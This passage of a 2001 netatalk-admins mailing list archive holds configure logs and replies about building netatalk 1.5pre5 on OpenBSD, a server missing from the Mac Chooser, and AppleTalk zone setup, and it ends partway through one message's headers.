ltconfig:604: gcc -c -g -O2  conftest.c 1>&5
ltconfig:629: checking for executable suffix
ltconfig:630: gcc -o conftest -g -O2   conftest.c  1>&5
ltconfig:776: checking if gcc PIC flag -fPIC works
ltconfig:777: gcc -c -g -O2 -fPIC -DPIC  conftest.c 1>&5
ltconfig:829: checking if gcc supports -c -o file.o
ltconfig:830: gcc -c -g -O2 -o out/conftest2.o  conftest.c 1>&5
ltconfig:862: checking if gcc supports -c -o file.lo
ltconfig:863: gcc -c -g -O2 -c -o conftest.lo  conftest.c 1>&5
ltconfig:914: checking if gcc supports -fno-rtti -fno-exceptions
ltconfig:915: gcc -c -g -O2 -fno-rtti -fno-exceptions -c conftest.c  conftest.c 1>&5
ltconfig:958: checking if gcc static flag -static works
ltconfig:959: gcc -o conftest -g -O2   -static conftest.c  1>&5
ltconfig:1653: checking if global_symbol_pipe works
ltconfig:1654: gcc -c -g -O2  conftest.c 1>&5
ltconfig:1657: eval "/usr/bin/nm -p conftest.o | sed -n -e 's/^.*[ 	]\([BCDEGRST]\)[ 	][ 	]*\(\)\([_A-Za-z][_A-Za-z0-9]*\)$/\1 \2\3 \3/p' > conftest.nm"
cannot find nm_test_var in conftest.nm
ltconfig:1653: checking if global_symbol_pipe works
ltconfig:1654: gcc -c -g -O2  conftest.c 1>&5
ltconfig:1657: eval "/usr/bin/nm -p conftest.o | sed -n -e 's/^.*[ 	]\([BCDEGRST]\)[ 	][ 	]*\(_\)\([_A-Za-z][_A-Za-z0-9]*\)$/\1 \2\3 \3/p' > conftest.nm"
ltconfig:1709: gcc -o conftest -g -O2 -fno-builtin -fno-rtti -fno-exceptions   conftest.c conftstm.o 1>&5
configure:2023: checking for main in -labs
configure:2066: checking for main in -laudit
configure:2109: checking for main in -lauth
configure:2152: checking for main in -lcmd
configure:2195: checking for main in -lcom_err
configure:2238: checking for main in -lcrypt
configure:2281: checking for main in -ld
configure:2324: checking for main in -ldb
configure:2367: checking for main in -ldl
configure:2410: checking for main in -lkauth
configure:2453: checking for main in -lkrb
configure:2496: checking for main in -llwp
configure:2539: checking for main in -ln
configure:2582: checking for main in -lnsl
configure:2625: checking for main in -lprot
configure:2668: checking for main in -lresolv
configure:2711: checking for main in -lrpcsvc
configure:2754: checking for main in -lrx
configure:2797: checking for main in -lrxkad
configure:2840: checking for main in -lsocket
configure:2883: checking for main in -lsys
configure:2926: checking for main in -lubik
configure:2978: checking for access
configure:3036: checking for dirent.h that defines DIR
configure:3074: checking for opendir in -ldir
configure:3157: checking how to run the C preprocessor
configure:3237: checking for ANSI C header files
configure:3341: checking for sys/wait.h that is POSIX.1 compatible
configure:3386: checking for fcntl.h
configure:3386: checking for limits.h
configure:3386: checking for stdint.h
configure:3386: checking for strings.h
configure:3386: checking for sys/fcntl.h
configure:3386: checking for sys/file.h
configure:3386: checking for sys/ioctl.h
configure:3386: checking for sys/time.h
configure:3386: checking for syslog.h
configure:3386: checking for unistd.h
configure:3386: checking for termios.h
configure:3386: checking for sys/termios.h
configure:3386: checking for netdb.h
configure:3386: checking for sgtty.h
configure:3424: checking for sys/cdefs.h
configure:3484: checking for working const
configure:3559: checking for uid_t in sys/types.h
configure:3593: checking for inline
configure:3633: checking for mode_t
configure:3666: checking for off_t
configure:3699: checking for pid_t
configure:3732: checking for size_t
configure:3765: checking for st_rdev in struct stat
configure:3799: checking whether time.h and sys/time.h may both be included
configure:3834: checking whether struct tm is in sys/time.h or time.h
configure:3869: checking type of array argument to getgroups
configure:3941: checking whether gcc needs -traditional
configure:3987: checking for 8-bit clean memcmp
configure:4023: checking whether sys/types.h defines makedev
configure:4132: checking for unistd.h
configure:4171: checking for getpagesize
configure:4224: checking for working mmap
configure:4395: checking return type of signal handlers
configure:4436: checking whether utime accepts a null argument
configure:4481: checking for wait3 that fills in rusage
configure:4545: checking for getcwd
configure:4545: checking for gethostname
configure:4545: checking for gettimeofday
configure:4545: checking for getusershell
configure:4545: checking for mkdir
configure:4545: checking for rmdir
configure:4545: checking for select
configure:4545: checking for socket
configure:4545: checking for strdup
configure:4545: checking for strstr
configure:4545: checking for strtoul
configure:4545: checking for setpgrp
configure:4598: checking whether setpgrp takes no argument
configure:4873: checking for pam_start in -lpam
configure:4971: checking for hosts_access in -lwrap
configure:5312: checking for main in -lcrypto
configure:5355: checking for main in -ldes


Repeat-by:

./configure --with-tcp-wrappers --with-ssl-dirs=/usr
make



As you can probably tell, debugging isn't my strong suit. I love how well
1.5pre5 is documented, much better than any of the other netatalk packages
I've tried. Thank you very much.

Sincerely,

*                                                     *
Karen Swanberg              |                         
Network Admin.              | Error: Sector not found-- 
Dept. of Geology/Geophysics |search behind couch? (Y/N)
206 Pillsbury Hall          |                         
310 Pillsbury Ave. SE       |                         
University of Mn            |  Enter any 11-digit prime
Minneapolis, MN 55455       |     number to continue...
(612) 624-6541              |                         
*                                                     *






From netatalk.administrators-errors@umich.edu  Wed Mar 21 15:31:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA14610
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Mar 2001 15:31:28 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA20283
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Mar 2001 15:31:28 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA20266
	for netatalk.administrators-members@umich.edu; Wed, 21 Mar 2001 15:31:27 -0500 (EST)
Received: from chat.ecp.fr (chat.ecp.fr [138.195.33.30])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA20230
	for <netatalk-admins@umich.edu>; Wed, 21 Mar 2001 15:31:25 -0500 (EST)
Received: from oufpasbugn.ecp.fr (oufpasbugn.ecp.fr [138.195.33.171])
	by chat.ecp.fr (Postfix) with ESMTP
	id 6B3A17E72; Wed, 21 Mar 2001 21:31:24 +0100 (CET)
Received: from (smap@localhost)
          by oufpasbugn.ecp.fr (8.7.6/jtpda-5.2) id VAA22328
          ; Wed, 21 Mar 2001 21:31:24 +0100
Received: from panthere.ads.ecp.fr(138.195.38.12) by oufpasbugn.ecp.fr via smap (V2.0beta.1)
	id xma022326; Wed, 21 Mar 01 21:31:18 +0100
Received: from [138.195.38.25] (voiles.ads.ecp.fr [138.195.38.25])
          by panthere.ads.ecp.fr (8.9.1a/jtpda-5.2) with ESMTP id VAA02957
          ; Wed, 21 Mar 2001 21:31:06 +0100 (MET)
Mime-Version: 1.0
X-Sender: jprey@mailhost.ads.ecp.fr
Message-Id: <p04310106b6deb9efca57@[138.195.38.25]>
In-Reply-To: <Pine.SOL.4.20.0103211313440.22741-100000@garnet.tc.umn.edu>
References: <Pine.SOL.4.20.0103211313440.22741-100000@garnet.tc.umn.edu>
Date: Wed, 21 Mar 2001 21:30:53 +0100
To: netatalk-admins@umich.edu
From: Jean-Philippe Rey <jprey@ads.ecp.fr>
Subject: Re: O-BSD 2.8 1.5pre5 compile errors (was rand2num)
Cc: netatalk-devel@lists.sourceforge.net
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id PAA14610

Hi Karen,

I too had some problems installing netatalk 1.5pre3 on OpenBSD 2.8.

First the standard make cannot be used, you have to install gnu make. 
I used the package gmake-3.79.1.tgz which works fine.

I had a problem that I traced back to libtool (I used the package 
libtool-1.3.5.tgz). I worked around the problem by editing the 
libtool script created in the source directory by configure. I added 
the line

      output_objdir=.

near the beginning, after line 368.

And by the way, libtool should reside in /usr (and not /usr/local as 
is the default location for the package). Install the package like 
that:

      pkg_add -p /usr libtool-1.3.5.tgz

or you have to change the symlinks (config.guess, config.sub, 
ltconfig, etc.) in the netatalk source directory.

I also had a problem with undefined symbols in libwrap.a, I just 
dropped the --with-tcp-wrappers parameter of configure.

I had a last problem because configure did not set the config_h 
parameter correctly. So I edited the file config.h and added the line

#define NO_CRYPT_H 1

And after that everything went smoothly.

Summary
-------

./configure
vi libtool   -> 368a   output_objdir=.
vi config.h  ->   6a   #define NO_CRYPT_H 1
gmake
gmake install


worked for me.

Hope that helps.
-- 
Jean-Philippe Rey           Délégué informatique - École Centrale Paris
jprey@ads.ecp.fr            92295 Chātenay-Malabry Cedex - France

From netatalk.administrators-errors@umich.edu  Wed Mar 21 16:23:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA16091
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Mar 2001 16:23:21 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA11759
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Mar 2001 16:23:21 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA11751
	for netatalk.administrators-members@umich.edu; Wed, 21 Mar 2001 16:23:21 -0500 (EST)
Received: from mailhub2.otago.ac.nz (mailhub2.otago.ac.nz [139.80.64.199])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA11698
	for <netatalk-admins@umich.edu>; Wed, 21 Mar 2001 16:23:19 -0500 (EST)
Received: (from root@localhost)
	by mailhub2.otago.ac.nz (8.10.1/8.10.1) id f2LLN3V19822
	for netatalk-admins@umich.edu; Thu, 22 Mar 2001 09:23:03 +1200
Received: from galadriel.otago.ac.nz (galadriel.otago.ac.nz [139.80.64.213])
	by mailhub2.otago.ac.nz (8.10.1/8.10.1) with ESMTP id f2LLN2D19789
	for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 09:23:02 +1200
Received: from Tech-Assistants.stonebow.otago.ac.nz (ou076252.otago.ac.nz [139.80.76.252])
	by galadriel.otago.ac.nz (8.11.2/8.11.2) with ESMTP id f2LLN1O29452
	for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 09:23:01 +1200 (NZST)
Message-Id: <5.0.2.1.2.20010322091951.0229e720@brandywine.otago.ac.nz>
X-Sender: st004805@brandywine.otago.ac.nz
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Thu, 22 Mar 2001 09:23:05 +1200
To: netatalk-admins@umich.edu
From: Geoffrey Hughes <geoffrey.hughes@stonebow.otago.ac.nz>
Subject: Netatalk not showing in Chooser
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-scanner: scanned by Inflex 0.1.5c - (http://www.inflex.co.za/)

This is probably quite a simple fix but it's got me stumped at the moment.

I have just installed Mandrake 7.1 on a machine with a 3com 3c905C nic and 
when starting netatalk I get the messages below...

Mar 22 09:15:35 LTServer atalkd: eth0: multicast may not work correctly.
Mar 22 09:15:36 LTServer atalkd[641]: zip_getnetinfo for eth0
Mar 22 09:15:45 LTServer atalkd[641]: zip_getnetinfo for eth0
Mar 22 09:15:55 LTServer atalkd[641]: zip_getnetinfo for eth0
Mar 22 09:16:05 LTServer atalkd[641]: config for no router
Mar 22 09:16:06 LTServer atalkd[641]: ready 0/0/0
Mar 22 09:16:06 LTServer atalk: atalkd startup succeeded
Mar 22 09:16:19 LTServer atalk: timelord startup succeeded
Mar 22 09:16:19 LTServer atalk: afpd startup succeeded
Mar 22 09:16:25 LTServer afpd[673]: Can't register LTServer:AFPServer@ITS 
Services DN
Mar 22 09:16:25 LTServer timelord[665]: LTServer:TimeLord started
Mar 22 09:16:25 LTServer afpd[673]: ASIP started on 139.80.105.33:548(1) (1.5)
Mar 22 09:16:25 LTServer afpd[673]: uam: uams_clrtxt.so loaded
Mar 22 09:16:25 LTServer afpd[673]: uam: "Cleartxt Passwrd" available

I have loaded the module and if I click the server ip button in the choose, 
I can connect fine.  The server just isn't showing in the chooser at 
all.  The same configuration files work fine on a machine with an intel 
etherexpress pro card.

Any ideas?

____________________________________________________________________
Geoffrey Hughes				Information Technology Services,
Technical Support Assistant			University of Otago,
Phone: +64 3 479 7333			PO Box 56,
Cellphone: 021 376 032			Dunedin, New Zealand
EMail: geoffrey.hughes@stonebow.otago.ac.nz
____________________________________________________________________


From netatalk.administrators-errors@umich.edu  Wed Mar 21 16:34:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA16565
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Mar 2001 16:34:49 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA15134
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Mar 2001 16:34:49 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA15114
	for netatalk.administrators-members@umich.edu; Wed, 21 Mar 2001 16:34:48 -0500 (EST)
Received: from la3serv.rninet.de (la3serv.rninet.de [62.225.55.3])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA15047
	for <netatalk-admins@umich.edu>; Wed, 21 Mar 2001 16:34:46 -0500 (EST)
Received: (from uucp@localhost)
	by la3serv.rninet.de (8.9.3/8.9.3) with UUCP id WAA22085;
	Wed, 21 Mar 2001 22:34:40 +0100
Received: from [192.168.1.4] (erbse.causeuse.org [192.168.1.4])
	by espresso.causeuse.org (8.11.0/8.11.0) with ESMTP id f2LLOhS16723;
	Wed, 21 Mar 2001 22:24:45 +0100 (CET)
X-Sender: hauke@espresso
Message-Id: <l03102803b6dec9b4b3dd@[192.168.1.4]>
In-Reply-To: <Pine.SOL.4.20.0103211313440.22741-100000@garnet.tc.umn.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Wed, 21 Mar 2001 22:22:10 +0100
To: Karen A Swanberg <swanberg@tc.umn.edu>
From: Hauke Fath <hauke@Espresso.Rhein-Neckar.DE>
Subject: Re: [Netatalk-devel] O-BSD 2.8 1.5pre5 compile errors (was
 rand2num)
Cc: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net

At 20:31 Uhr +0100 21.3.2001, Karen A Swanberg wrote:
>Greetings, I think this is a bug. I've included everything I think should
>be useful, but I'd be happy to provide more. If this is hopelessly basic,
>I apologize.

Almost all problems are simple -- after you solved them.  ;)

>SUBJECT: compile errors on 1.5pre5 on OpenBSD 2.8 during make
>install. Using 1.5pre5 in order to utilize DHX, my ./configure was:
>./configure --with-tcp-wrappers --with-ssl-dirs=/usr
>
>The compile ran fine, but the 'make' then died with the error:
>
>#make
>make  all-recursive
>Making all in libatalk
>
>Making install in libatalk
>"Makefile", line 317: Need an operator
>Fatal errors encountered -- cannot continue
>*** Error code 1

Sit back and relax: You've just been bitten by the progressing gnuification
of Netatalk.

For whatever reason (I tried to track it down, but got lost in the twisty
maze that the output of GNU automake is) the Makefiles of Sourceforge
Netatalk want GNU make, and GNU make only.

Now, didn't I say it's simple?  ;)

	hauke




--
"It's never straight up and down"     (DEVO)



From netatalk.administrators-errors@umich.edu  Wed Mar 21 18:05:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA18815
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Mar 2001 18:05:18 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA05316
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Mar 2001 18:05:12 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA05300
	for netatalk.administrators-members@umich.edu; Wed, 21 Mar 2001 18:05:11 -0500 (EST)
Received: from harumscarum.mr.itd.umich.edu (harumscarum.mr.itd.umich.edu [141.211.125.17])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA05270
	for <netatalk-admins@umich.edu>; Wed, 21 Mar 2001 18:05:10 -0500 (EST)
Received: from adsl-242-15.ns.itd.umich.edu (adsl-242-15.ns.itd.umich.edu [141.213.242.15])
	by harumscarum.mr.itd.umich.edu (8.9.3/3.3s) with ESMTP id SAA24552; Wed, 21 Mar 2001 18:05:15 -0500 (EST)
From: wes@umich.edu
Date: Wed, 21 Mar 2001 18:05:12 -0500
To: Karen A Swanberg <swanberg@tc.umn.edu>
cc: netatalk-admins@umich.edu
Subject: Re: a newbie question
Message-ID: <2029889.3194186712@adsl-242-15.ns.itd.umich.edu>
In-Reply-To: <Pine.SOL.4.20.0103211026310.22741-100000@garnet.tc.umn.edu>
X-Mailer: Mulberry/2.0.6 (MacOS)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

> http://endofdays.rs.itd.umich.edu/~tombeau/netatalk/mail.html

This is the URL to the mock-up of what an up-to-date netatalk homepage
would look like.  It's a mock-up because it is not up-to-date.  Someone
should create a nice, up-to-date netatalk home page, complete with fancy
graphics, a current FAQ, and many references to the version of netatalk that
is in active development.  We'd certainly point netatalk.org at such a
site.  The above site is none of these things.  It's pretty tho, in my
opinion.

> ftp://terminator.rs.itd.umich.edy/unix/netatalk

This is actually:

    ftp://rsug.itd.umich.edu/unix/netatalk

BTW, if someone else wanted to run the netatalk admins mailing list, I 
would be
happy to give them, completely free of charge, the last 9 or so years of
mailing list archives to start indexing.  netatalk-admins@umich.edu (in 
addition
to netatalk-admins@netatalk.org or some other clever address that the new
maintainer wanted) could point at this new mailing list resender.

:wes

From netatalk.administrators-errors@umich.edu  Wed Mar 21 21:42:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA23217
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 21 Mar 2001 21:42:31 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA29545
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 21 Mar 2001 21:42:31 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA29533
	for netatalk.administrators-members@umich.edu; Wed, 21 Mar 2001 21:42:30 -0500 (EST)
Received: from mail.valinux.com (mail.valinux.com [198.186.202.175])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA29507
	for <netatalk-admins@umich.edu>; Wed, 21 Mar 2001 21:42:29 -0500 (EST)
Received: from nat-hdqt.valinux.com ([198.186.202.17] helo=valinux.com)
	by mail.valinux.com with esmtp (Exim 3.22 #1 (Debian))
	id 14fv3K-00069t-00; Wed, 21 Mar 2001 18:42:18 -0800
Message-ID: <3AB9664C.A380BCAB@valinux.com>
Date: Wed, 21 Mar 2001 18:41:16 -0800
From: "Mark J. Marriott" <mmarriott@valinux.com>
Organization: VA Linux Systems, Inc.
X-Mailer: Mozilla 4.75 [en] (Win98; U)
X-Accept-Language: en,pdf
MIME-Version: 1.0
To: linux-atalk@netspace.org, netatalk-admins@umich.edu,
        netatalk-devel@lists.sourceforge.net
Subject: netatalk success stories
Content-Type: multipart/mixed;
 boundary="------------4126A7C2A2D570449ECC86D3"

This is a multi-part message in MIME format.
--------------4126A7C2A2D570449ECC86D3
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Dear Netatalk Users and Developers,

I am doing research for an article about successful uses of open source
software in enterprise/institutional infrastructure.  I am looking for
stories about large, successful Netatalk deployments and would
appreciate any information.

Best Regards,

Mark
--------------4126A7C2A2D570449ECC86D3
Content-Type: text/x-vcard; charset=us-ascii;
 name="mmarriott.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Mark J. Marriott
Content-Disposition: attachment;
 filename="mmarriott.vcf"

begin:vcard 
n:Marriott;Mark
tel;fax:775-307-1044
tel;work:310-415-3349
x-mozilla-html:FALSE
url:http://www.valinux.com
org:VA Linux Systems, Inc.;Professional Services
adr:;;3610 N. Alma Ave.;Manhattan Beach;CA;90266;USA
version:2.1
email;internet:mmarriott@valinux.com
title:Sales Manager
fn:Mark J. Marriott
end:vcard

--------------4126A7C2A2D570449ECC86D3--


From netatalk.administrators-errors@umich.edu  Thu Mar 22 01:29:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA28113
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Mar 2001 01:29:28 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA03085
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Mar 2001 01:29:22 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA03048
	for netatalk.administrators-members@umich.edu; Thu, 22 Mar 2001 01:29:21 -0500 (EST)
Received: from gromit.daemonize.com (adsl-63-204-212-186.dsl.snfc21.pacbell.net [63.204.212.186])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id BAA02986
	for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 01:29:19 -0500 (EST)
Received: from paulkrohn.com (wallace.daemonize.com [10.77.1.3])
	by gromit.daemonize.com (8.9.3/8.9.2) with ESMTP id WAA27537
	for <netatalk-admins@umich.edu>; Wed, 21 Mar 2001 22:29:24 -0800
Message-ID: <3AB99BAB.710BF68E@paulkrohn.com>
Date: Wed, 21 Mar 2001 22:28:59 -0800
From: Paul Krohn <pkrohn@paulkrohn.com>
X-Mailer: Mozilla 4.75C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: O-BSD 2.8 1.5pre5 compile errors (was rand2num)
References: <Pine.SOL.4.20.0103211313440.22741-100000@garnet.tc.umn.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Speaking of compile errors, i get the following when i try to compile
1.5pre5 on my cobalt qube 2:

afp_config.c: In function `ASPConfigInit':
afp_config.c:181: `VERSION' undeclared (first use this function)
afp_config.c:181: (Each undeclared identifier is reported only once
afp_config.c:181: for each function it appears in.)
afp_config.c: In function `DSIConfigInit':
afp_config.c:230: `VERSION' undeclared (first use this function)

it's a redhat-5 based setup. i recently upgraded from gcc 2.7.2 to
egcs-2.90.27 -- made no difference with this problem.

which reminds me, none of the binaries seem to be willing to cough up
what version they are -- ie 'afpd -v' just barks at you about usage. is
there any interest in adding that? is that what happened and it is
broken for my system?

From netatalk.administrators-errors@umich.edu  Thu Mar 22 09:56:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA06441
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Mar 2001 09:56:56 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA00786
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Mar 2001 09:56:56 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA00766
	for netatalk.administrators-members@umich.edu; Thu, 22 Mar 2001 09:56:55 -0500 (EST)
Received: from rgrjr.dyndns.org (h0050da615e79.ne.mediaone.net [24.218.161.12])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id JAA00729
	for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 09:56:53 -0500 (EST)
Received: (qmail 6290 invoked by uid 500); 22 Mar 2001 14:56:52 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15034.4788.849611.662596@h0050da615e79.ne.mediaone.net>
Date: Thu, 22 Mar 2001 09:56:52 -0500
From: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
To: Paul Krohn <pkrohn@paulkrohn.com>
Cc: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: O-BSD 2.8 1.5pre5 compile errors (was rand2num)
In-Reply-To: <3AB99BAB.710BF68E@paulkrohn.com>
References: <Pine.SOL.4.20.0103211313440.22741-100000@garnet.tc.umn.edu>
	<3AB99BAB.710BF68E@paulkrohn.com>
X-Mailer: VM 6.89 under Emacs 20.7.1

   From: Paul Krohn <pkrohn@paulkrohn.com>
   Date: Wed, 21 Mar 2001 22:28:59 -0800

   Speaking of compile errors, i get the following . . .

   which reminds me, none of the binaries seem to be willing to cough up
   what version they are -- ie 'afpd -v' just barks at you about usage. is
   there any interest in adding that? is that what happened and it is
   broken for my system?

The daemons all spew version information into the log when started, but
that's not very useful if you can't get to that point.  Which argues for
supporting "-v" or "--version" on the command line.

					-- Bob Rogers

From netatalk.administrators-errors@umich.edu  Thu Mar 22 11:26:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA08581
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Mar 2001 11:26:17 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA23121
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Mar 2001 11:26:16 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA23095
	for netatalk.administrators-members@umich.edu; Thu, 22 Mar 2001 11:26:16 -0500 (EST)
Received: from mathserv.math.ohio-state.edu (mathserv.math.ohio-state.edu [128.146.111.31])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA23050
	for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 11:26:14 -0500 (EST)
Received: from math.ohio-state.edu (IDENT:postfix@hooloovoo.math.ohio-state.edu [128.146.111.37])
	by mathserv.math.ohio-state.edu (8.11.2/8.11.2) with ESMTP id f2MGQDR18840
	for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 11:26:13 -0500
Received: by math.ohio-state.edu (Postfix, from userid 2405)
	id 38F37B65E; Thu, 22 Mar 2001 11:26:13 -0500 (EST)
Received: from localhost (localhost [127.0.0.1])
	by math.ohio-state.edu (Postfix) with ESMTP id 3590FB65D
	for <netatalk-admins@umich.edu>; Thu, 22 Mar 2001 11:26:13 -0500 (EST)
Date: Thu, 22 Mar 2001 11:26:13 -0500 (EST)
From: Chad Cunningham <ccunning@math.ohio-state.edu>
To: <netatalk-admins@umich.edu>
Subject: zone router
Message-ID: <Pine.LNX.4.30.0103221120400.23515-100000@hooloovoo.math.ohio-state.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


Hi,

I am trying to replace a Solaris box running CAP with a linux box running
netatalk. I can't seem to get zones to work properly under the new
netatalk setup. My atalkd.conf looks like

eth0 -router -phase 2 -net 0-65534 -addr 257.249 -zone "Staff" -zone "RTL" -zone "Faculty" -zone "EMPT" -zone "Public"

It seems happy with this, the atalkd.conf doesn't get overwritten when I
start up and I can use getzones and they all show up. However, none of the
macs recognize any zones. Any idea why this might be?

 --

Chad Cunningham
ccunning@math.ohio-state.edu

"Well, once again my friend, we find that science is a two-headed beast. One
head is nice, it gives us aspirin and other modern conveniences,...but the
other head of science is bad! Oh beware the other head of science, Arthur, it
bites!"


From netatalk.administrators-errors@umich.edu  Thu Mar 22 11:33:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA08837
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 22 Mar 2001 11:33:44 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA21934
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 22 Mar 2001 11:33:37 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA21904
	for netatalk.administrators-members@umich.edu; Thu, 22 Mar 2001 11:33:36 -0500 (EST)
Received: from garnet.tc.umn.edu (garnet.tc.umn.edu [160.94.218.249])
